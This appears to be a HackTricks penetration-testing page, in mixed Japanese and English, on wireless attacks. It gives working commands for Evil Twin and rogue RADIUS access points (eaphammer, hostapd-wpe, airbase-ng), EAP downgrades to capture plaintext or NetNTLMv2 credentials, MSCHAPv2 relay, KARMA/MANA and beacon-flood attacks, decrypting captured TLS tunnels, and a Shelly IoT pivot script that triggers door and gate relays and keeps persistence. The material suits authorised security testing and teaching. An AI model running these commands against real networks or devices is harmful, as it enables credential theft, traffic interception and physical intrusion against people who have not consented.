転送とリダイレクト

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Evil Twin attack は、WiFi クライアントがネットワークを認識する仕組みを悪用します。主にネットワーク名 (ESSID) に依存しており、基地局 (access point) がクライアントに対して自身を認証することを必要としません。主なポイントは次のとおりです:

  • 区別の困難さ: 同じ ESSID と暗号化方式を共有する場合、デバイスは正当な access point と不正な access point を区別するのが困難です。実際のネットワークでは、カバレッジをシームレスに拡張するために同一の ESSID を持つ複数の access point が使われることが多くあります。
  • クライアントのローミングと接続操作: 802.11 プロトコルは、同一の ESS 内でデバイスが access point 間をローミングすることを許可します。攻撃者は、デバイスを現在の基地局から切断させて rogue のものに接続させることでこれを悪用できます。これは、より強い信号を提供するか、deauthentication packets や jamming のような方法で正当な access point への接続を妨害することで実現できます。
  • 実行上の課題: 複数の適切に配置された access point がある環境で evil twin attack を成功させるのは困難な場合があります。単一の正当な access point を deauthenticate しても、攻撃者が周辺の全ての access point を deauthenticate するか、戦略的に rogue access point を配置しない限り、デバイスは別の正当な access point に接続してしまうことが多いです。

You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

また、eaphammer を使って Evil Twin を作成することもできます(eaphammer で evil twins を作成するには、the interface should NOT be in monitor mode であることに注意してください):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

または Airgeddon を使用する場合: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won’t connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won’t be able to let the victim connect to you as you don’t know the PSK, but you can capture the handshake and try to crack it).

一部の OS や AV は、Open network への接続が危険であるとユーザーに警告することがあります…

WPA/WPA2 Evil Twin

あなたは Evil Twin using WPA/2 を作成できます。デバイスがその SSID を WPA/2 で接続するように設定されている場合、接続を試みます。とはいえ、4-way-handshake を完了するためには、クライアントが使う パスワード知っている 必要があります。もし 知らなければ接続は完了しません

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

これらの攻撃を理解するには、まず簡潔なWPA Enterprise explanationを読むことをおすすめします。

hostapd-wpe を使用する場合

hostapd-wpe を動かすには configuration ファイルが必要です。これらの設定ファイルの生成を自動化するには、https://github.com/WJDigby/apd_launchpad を使用できます(/etc/hostapd-wpe/ 内の python ファイルをダウンロードしてください)。

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、auth など、多くの異なる項目を選択できます…

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

EAPHammer を使用

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

デフォルトでは、EAPHammerは次のauthentication methodsを試行します(まずGTCでplaintext passwordsを取得しようとし、その後より堅牢なauth methodsを使用する点に注意してください):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

これは長い接続時間を避けるためのデフォルトの方法です。ただし、server に対して authentication methods を弱いものから強いものの順で指定することもできます:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • Find more info in the wiki

When clients skip RADIUS certificate validation (PEAP/TTLS)

  • If devices are configured with “do not validate certificate”, a cloned AP + rogue RADIUS (eaphammer --cert-wizard --creds --auth wpa-eap) will collect NetNTLMv2 (PEAP-MSCHAPv2) or cleartext creds (PEAP-GTC). bettercap deauth (wifi.deauth <BSSID>) both reveals hidden SSIDs during probes and forces reconnects, unless PMF/802.11w blocks spoofed deauth.
  • Cracked NetNTLMv2 gives reusable Wi‑Fi/AD creds; GTC yields immediate plaintext.

Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)

  • For machine accounts with uncrackable random passwords, abuse MSCHAPv2 relay: run hostapd-mana as the Evil Twin, forwarding the MSCHAPv2 exchange to wpa_sycophant, which simultaneously connects to the legitimate AP. Successful relay grants authenticated Wi‑Fi without recovering the password.
  • Use builds that support the target security level (WPA3/PMF requires recent hostapd/wpa_supplicant); PMF prevents deauth coercion, so wait for voluntary client associations.

Airgeddonの使用

Airgeddon can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password.
Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.

Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.

Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Add a new entry and fill the form with this values: IP address = anyPort = 0Protocol = dataKey File (select your key file, to avoid problems select a key file without being password protected).

And look at the new “Decrypted TLS” tab:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):

  1. MAC-based Whitelist:
  • The rogue AP will respond only to probe requests from devices specified in the whitelist, remaining invisible to all others not listed.
  1. MAC-based Blacklist:
  • The rogue AP will ignore probe requests from devices on the blacklist, effectively making the rogue AP invisible to those specific devices.
  1. SSID-based Whitelist:
  • The rogue AP will respond to probe requests only for specific ESSIDs listed, making it invisible to devices whose Preferred Network Lists (PNLs) do not contain those ESSIDs.
  1. SSID-based Blacklist:
  • The rogue AP will not respond to probe requests for the specific ESSIDs on the blacklist, making it invisible to devices seeking those particular networks.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

この手法では、ネットワークに接続しようとするデバイスからのすべての probe requests に応答する悪意のあるアクセスポイント (AP) を攻撃者が作成できます。このテクニックは、デバイスが探しているネットワークを模倣して攻撃者の AP に接続させることでデバイスを騙します。デバイスがこの rogue AP に接続要求を送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続してしまいます。

MANA

その後、デバイスは信頼できないネットワーク応答を無視するようになり、元の karma attack の効果は低下しました。しかし、Ian de Villiers と Dominic White によって導入された MANA attack として知られる新しい手法が登場しました。この手法では、rogue AP がデバイスの Preferred Network Lists (PNL) を、デバイスの broadcast probe requests に対してデバイスが以前に保存したネットワーク名 (SSIDs) で応答することにより取得します。この高度な攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする仕組みを悪用して、元の karma attack に対する防護を回避します。

MANA attack は、デバイスからの directed と broadcast probe requests の両方を監視することで動作します。directed リクエストでは、デバイスの MAC address と要求されたネットワーク名を記録し、この情報をリストに追加します。broadcast リクエストを受け取ると、AP はデバイスのリスト上の任意のネットワークに一致する情報で応答し、デバイスを rogue AP に接続させようとします。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Loud MANA attack は、デバイスが directed probing を使用しない場合、または攻撃者が Preferred Network Lists (PNL) を把握していない場合に用いる高度な戦略です。これは 同じエリアにいるデバイスは PNLs にいくつか同じネットワーク名を持っている可能性が高い という原理に基づいています。選択的に応答する代わりに、この攻撃は観測されたすべてのデバイスの結合された PNLs に含まれる各ネットワーク名 (ESSID) に対して probe responses をブロードキャストします。この広範な手法により、デバイスが馴染みのあるネットワークを認識して rogue Access Point (AP) に接続しようとする可能性が高まります。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

When the Loud MANA attack may not suffice, the Known Beacon attack presents another approach. This method brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs derived from a wordlist. This simulates the presence of numerous networks, hoping to match an ESSID within the victim’s PNL, prompting a connection attempt to the fabricated AP. The attack can be amplified by combining it with the --loud option for a more aggressive attempt to ensnare devices.

Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with --loud to create a Loud MANA + Known beacons attack):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Known Beacon Burst attack は、ファイルに列挙された各 ESSID ごとに beacon frames を高速に連続ブロードキャストする攻撃です。これにより偽ネットワークが密集した環境が作られ、特に MANA attack と組み合わせた場合にデバイスが rogue AP に接続する可能性が大幅に高まります。この手法は速度と量でデバイスのネットワーク選択メカニズムを圧倒します。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct は、従来の無線アクセスポイントを必要とせずに、デバイス同士がWi‑Fiで直接接続できるようにするプロトコルです。この機能はプリンターやテレビなどのさまざまな Internet of Things (IoT) デバイスに組み込まれており、デバイス間の直接通信を容易にします。Wi‑Fi Direct の注目すべき特徴は、接続を管理するために一方のデバイスがアクセスポイントの役割(group owner)を担う点です。

Wi‑Fi Direct 接続のセキュリティは Wi-Fi Protected Setup (WPS) を通じて確立され、以下のような安全なペアリング方法をサポートします:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

これらの方法は、特に PIN entry が、従来の Wi‑Fi ネットワークにおける WPS と同様の脆弱性にさらされやすく、同様の攻撃ベクトルの対象になります。

EvilDirect Hijacking

EvilDirect Hijacking は Wi‑Fi Direct 固有の攻撃です。Evil Twin 攻撃の概念を踏襲しつつ、Wi‑Fi Direct 接続を狙います。このシナリオでは、攻撃者が正当な group owner を偽装してデバイスを悪意あるエンティティに接続させようとします。この手法は、airbase-ng のようなツールを用い、チャネル、ESSID、偽装するデバイスの MAC アドレスを指定して実行できます:

Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)

一部のコンシューマ向け IoT リレー/コントローラは、IoT WLAN に参加した後も commissioning の open AP をアクティブなままにしておくことがあります(例:Shelly で始まる Shelly Gen4 SSID)。このデバイスは dual-homed のままで、デフォルト IP が 192.168.33.1 の AP インターフェースと、内部 WLAN 上のクライアントインターフェースを持ちます。

悪用フロー(Wi‑Fi での近接が必要):

  1. provisioning AP に参加し、DHCP リースを取得して、AP 側の HTTP API を参照する。
  2. 未認証のエンドポイントを使ってリレーをトリガーする(例: http://192.168.33.1/relay/0?turn=on — ドア/ゲート/ガレージへの影響)。Firmware アップロード用のエンドポイントは永続化を追加できます。
  3. それを pivot として利用する: Shelly のスクリプトは内部インターフェースから他の LAN ホストへ HTTP を送信できます。別の Shelly(10.0.98.221)へのピボット例:
Shelly.addEventHandler(function (event) {
if (event.component === "switch:0" && event.info.state) {
Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
}
});

任意の到達可能な内部 HTTP ターゲットの URL に置き換えてください。デュアルホームにより追加のルーティング/NAT 処理を避けられます。 4. 大規模に行う場合: ベンダー SSID を wigle.net 上でクエリして(例: Shelly)現地での悪用対象となる commissioning AP を特定する。

永続化のために、commissioning AP を有効なままにしておいてください。

References

TODO: Take a look to https://github.com/wifiphisher/wifiphisher (Facebookログインとキャプティブポータルでの WPA の模倣)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする